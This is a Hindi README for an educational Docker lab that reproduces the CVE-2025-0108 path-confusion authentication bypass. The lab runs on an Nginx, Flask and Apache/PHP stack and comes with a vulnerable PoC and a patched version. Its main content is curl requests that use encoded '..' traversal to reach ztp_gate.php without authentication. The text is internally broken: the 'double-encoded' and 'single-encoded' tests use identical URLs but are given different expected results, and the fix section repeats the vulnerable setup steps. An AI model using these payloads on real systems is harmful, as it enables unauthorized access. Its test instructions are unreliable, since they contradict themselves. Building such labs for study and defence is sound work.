
CVE-2025-0108 पथ भ्रम भेद्यता को Nginx/Apache स्टैक में पुनरुत्पादित करता है। इसमें एक संवेदनशील PoC और एक पैच किया गया कार्यान्वयन शामिल है जो दोहरे-एन्कोडेड प्रमाणीकरण बाईपास के विरुद्ध बैकएंड-साइड शमन प्रदर्शित करता है।
इस भंडार में CVE-2025-0108 समस्या (Nginx और Apache के बीच पथ भ्रम / हेडर तस्करी) को पुनः उत्पन्न करने और कम करने के लिए एक छोटा प्रयोगशाला वातावरण शामिल है।
कार्य का उद्देश्य यह प्रदर्शित करना है कि दोहरे-एन्कोडेड अनुरोध कैसे बहु-परत स्टैक (Nginx -> Flask बैकएंड -> Apache/PHP) में प्रमाणीकरण को बायपास कर सकते हैं और बैकएंड-साइड शमन दिखाना है।
यह वातावरण केवल शैक्षिक उद्देश्यों के लिए है।
CVE-2025-0108/ — कमजोर कार्यान्वयन (PoC)CVE-2025-0108_fix/ — पैच किया गया कार्यान्वयन (बैकएंड डिकोडेड पथ की जाँच करता है)CVE-2025-0108उस कमजोर सेटअप का अनुकरण करें जहां परतों के बीच असंगत पथ डिकोडिंग के कारण दोहरा-एन्कोडेड पथ प्रमाणीकरण को बायपास कर सकता है।
CVE-2025-0108 निर्देशिका से:
cd CVE-2025-0108
docker compose up --build
अपने होस्ट से ये curl कमांड चलाएँ:
परीक्षण 1 — दोहरा-एन्कोडेड (अपेक्षित: HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
परीक्षण 2 — एकल-एन्कोडेड (अपेक्षित: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
परीक्षण 3 — .. के साथ कच्चा पथ (अपेक्षित: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
वातावरण बंद करें:
docker compose down
बैकएंड एक्सेस की अनुमति देने से पहले डिकोडेड पथ पर एक अतिरिक्त जांच करता है। यह अनुरोधों के दोहरा-एन्कोडेड होने पर प्रमाणीकरण बायपास को रोकता है।
CVE-2025-0108 निर्देशिका से:
cd CVE-2025-0108
docker compose up --build
अपने होस्ट से ये curl कमांड चलाएँ:
CVE-2025-0108_fix निर्देशिका से:
cd CVE-2025-0108_fix
docker compose up --build
परीक्षण 1 — दोहरा-एन्कोडेड (अपेक्षित: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
फिक्स बैकएंड डिकोडेड .. का पता लगाता है और 401 अनधिकृत लौटाता है।
परीक्षण 2 — एकल-एन्कोडेड (अपेक्षित: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
परीक्षण 3 — .. के साथ कच्चा पथ (अपेक्षित: HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
वातावरण बंद करें:
docker compose down